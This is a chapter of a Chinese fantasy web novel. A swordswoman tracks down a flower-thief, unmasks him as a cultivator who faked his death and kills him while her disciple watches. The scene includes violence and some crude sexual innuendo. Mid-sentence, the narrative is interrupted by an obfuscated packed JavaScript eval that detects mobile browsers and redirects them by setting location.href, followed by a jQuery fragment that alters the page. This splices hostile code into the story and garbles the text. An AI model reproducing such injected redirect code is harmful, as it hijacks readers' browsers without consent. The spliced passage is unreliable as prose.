32. 贼人
作品:《救赎他?剑来!》 半夜,兰香阁客房。
君浮玉精神抖擞,正襟危坐,双眸灼灼直视窗外,时刻留神着动静。
谢无妄已换了一身深黑寝衣,领口半敞,倚在榻上假寐,长发松松垮垮披散在肩侧,衬得皮肉荧白如雪。他打了个哈欠,语调带着倦意:
“师尊若想引他上钩,明日妆饰一番,再出门慢慢引诱。已经夜深了,还是早些歇息吧。”
君浮玉嗯了一声:“你睡,我再等等。”
她特意订了顶楼的客房,向下俯瞰时,能从稀疏的灯火里看到不少动静。
见劝不动她,谢无妄也不再多言,懒懒靠着软枕,头一歪就睡了过去。
半炷香后,街巷中骤然出现了一个黑影。此人影身姿灵活如蚱蜢,在屋檐间轻盈地跳来跳去,隐入一扇院门后,不见了。
她倏然起身,给房间加了一道禁止入内的咒诀,防止那采花贼团伙作案、跑来打扰谢无妄。
随后抬手,召来钉在楼顶的无名剑。
剑尖朝下疾行,她追着它,撩开袍角从窗边跃下,直奔目标而去。
夜色浓稠似墨,君浮玉落在黑影隐匿身形的院落中,以修士清明而敏锐的目光,打量着四周景象。
冷风呼啸着卷起院里的枯枝残叶,破败的门窗大敞,萧瑟至极,不像是有人住过。
她将几间厢房搜了一遍,除了几只仓皇出逃的老鼠之外,再无半个活物。
……被骗了!
兰香阁内。
君浮玉跃出窗户的刹那,谢无妄平静地睁眼。桃花眸中一片澄澈,不见半点睡意。
他穿好外衫,打了个响指,君浮玉设下的禁制随之消散。
“有意思。”窗外传来绵柔嘶哑的声音,黏腻得分不清是男是女,“你竟将这禁制撤了,是很期待我的到来么?”
话音未落,一个戴着兜帽的身影已然跃入房间。
定睛看清谢无妄后,此人顿时大失所望:“怎么是你?那小娘子追出去了,是不是?哎呀呀,可惜可惜。”
话音回荡在耳边,谢无妄眸光一寒,隐隐觉得不对劲:“什么可惜?”
兜帽人的声音黏黏糊糊,似是掺了鱼胶:“我已在院中设下迷阵,现在,她恐怕已经粉身碎骨了。多好的小娘子,可惜啊!”
一时间天地寂静无声,谢无妄只觉胸口中“咚”地一沉,再也听不到其他的响动。
似有无数冰针刺透了他四肢百骸,泛着细密的冷意,连喘气也疼得厉害。
为什么会这样?
谢无妄茫然地望着兜帽人,片刻后,才缓缓回过神来,一字一顿:“你撒谎,她命硬。”
“按理来说,这种时候不应该是男子外出缉凶,女子乖乖在屋里静候么?”兜帽人弯腰拍了一下大腿,连连哀叹,“为何你们二人反了过来?”
“乖乖静候?”
清越凌冽的嗓音随夜风而至。
君浮玉不知何时已倚坐在雕花窗棂边,衣袍浸血,神色淡漠:“你有所不知,世间只有两种女人——
“第一种是拿着剑冲出去拼杀的女人,第二种,是还没找到剑的女人。”
“没死?”急促的声音从鸦黑兜帽之下传出,“你居然能破我的迷阵?我在其中拘了三只恶兽,竟都敌不过你?”
“就算拘你的爹也没用。”君浮玉抬起下颌,墨发飞扬,带着几分少年意气的骄矜,“就凭几只畜牲,也敢问我的剑?”
兜帽人怔了怔,刚要开口反驳,却被谢无妄的声音打断:“君浮玉。”
声音隐隐带着怒火和委屈。
他对她很少这样直呼其名,君浮玉顿了一下,满眼困惑向谢无妄望去。
后者抱着双臂,倚在客房坚硬的木墙上,目光幽深如潭,带着说不清道不明的森森鬼气,死盯着她。
那道目光似冰凉的蛇信子,阴冷地触碰她的皮肉,又似一张密网笼罩身躯,让人无处可逃。
不知为何,君浮玉觉得有些心虚,下意识地想要说些什么,嘴里蹦出一句:“不是我的。”
衣衫上的血不是她的。
她自己都不知道,为什么要对谢无妄说如此语焉不详的四个字。但对方好像明白了她的意思,紧蹙的眉间松动了些许。
“若是放在以前,十个你也不是我的对手。”兜帽人冷哼一声,“我只问你一句,愿不愿意和我共度良宵?我这具身体资质不错,与我双修,采阳补阴,你绝不会吃亏!”
君浮玉挑眉:“你为何遮着脸,是太过丑陋的原因么?”
兜帽人没有第一时间应声,下意识摸了摸自己的脸。
君浮玉的指尖轻敲剑鞘,趁他不备,无名剑尖明晃晃的,直冲兜帽人颈间而刺。他躲闪不及,只能侧身避开剑刃。
无名与他颈前的斗篷系绳触碰,兜帽随之而落,堆在地上。
“……长得不错,可惜脸上有几道碍事的疤痕。”君浮玉仔细地瞧了瞧,看清兜帽人的长相,赞叹,“我认识一个人,和你长得很像。”
兜帽人嗤笑:“那你真是没见过世面,容貌相似的人多了去了!你竟只认识一个?”
君浮玉又打量了他片刻,非常笃定:“不,不是像。你就是他本人。”
谢无妄幽幽插话:“容我打扰,你们讨论的这个人,究竟是谁?”
“周清云。”君浮玉瞥了他一眼,“有名的美人,你不认识?”
据说周清云曾是修仙界最出名的美男之一,是不知多少修士的梦中人。身为长盈宗弟子,他苦修无情道,不沾风月,故而仰慕者们只能望洋兴叹。
但早在几年前,他就因病身陨了。
君浮玉虽没见过他本人,但在无数话本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128141|161355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之中,见过周清云的画像,与眼前的男子相似至极,简直是一个模子刻出来的。
就连眼下那颗小痣的位置都一模一样。
兜帽人向君浮玉猛扑过去。几个来回后,她轻轻松松将他按倒在地:“太弱了。”
男子趴在地上,咬了咬牙,抬起两只修长的手,飞快掐诀,速度快到让人眼花缭乱。
君浮玉抬起靴子,毫不留情重重地踩了下去,指关节在靴底发出沉闷的崩裂声。
那个咒诀,看起来很熟悉。
“若非你不是周清云,又怎么会长盈宗的杀咒?”她加了几分力道,痛得他惨叫连连,“你就是他。”
“住嘴!”男子不知是痛还是怒,原本清俊的容貌扭曲成狰狞模样,“周清云早就死了!”
“你一个修无情道的,为何死遁后做了采花贼?”君浮玉俯身,掌心拍了拍他的脸。
响声清脆,男子目光倏然一暗,似是觉得受了极大的屈辱。
少女并不在意他的反应,掏出一张丝质帕巾,擦拭自己的手:“别逞强了,反正你早晚是要死的,不如死前为我解答困惑,也不枉你活一场。”
“清心寡欲多年,却无法窥见大道分毫,只落得走火入魔、灵力散尽的下场,我还修个什么劲!”周清云咬紧牙关,一个字一个字挤出来,“万花丛中过,片叶不沾身,这才叫无情。”
“放屁。”君浮玉又踢了他一脚,“你若真这么洒脱,又为何死遁?不就是舍不得你清风霁月的虚名吗。”
“虚名算什么!改头换面只是为了方便行事,我连这张脸都划烂了,还在乎区区虚名?”
周清云笑得愈发诡异,五官扭曲着挤出狰狞的纹路,像一张布满褶皱的地图:“就算那东西不好使了,我还有剑。你不觉得剑柄也很有用处么?”
君浮玉尚未反应过来,看着他的表情,才猜到了个大概,只觉得一阵恶寒:“你简直丢尽了剑修的脸!”
她不愿与之多言,剑尖向下戳刺,穿透了周清云的脊柱,将他钉死在地板上。
皮肉骨头破碎的钝响在屋中久久不散,片刻后,楼下传来尖叫:“老板老板,你们客房顶怎么在渗血?退钱!”
血溅到了君浮玉脸侧,她低垂着脑袋,松散的碎发遮住了半边面颊,被血浸得一缕一缕。
没有看谢无妄,只是轻缓地舒了一口气。
她知道自己此刻一定狼狈极了,浑身是血,剑上还沾着星星点点的碎肉,连个清理全身的咒诀都来不及用。
脚步声却不容置疑地靠近。
君浮玉的视野中,除了周清云僵硬冰凉的尸体之外,还多出一寸谢无妄的靛蓝袍角。
他没有多说什么,只是弯下腰,小心翼翼地、笨拙地将满身血污的少女揽进怀中。
沉默片刻,低声唤了一句:“师尊。”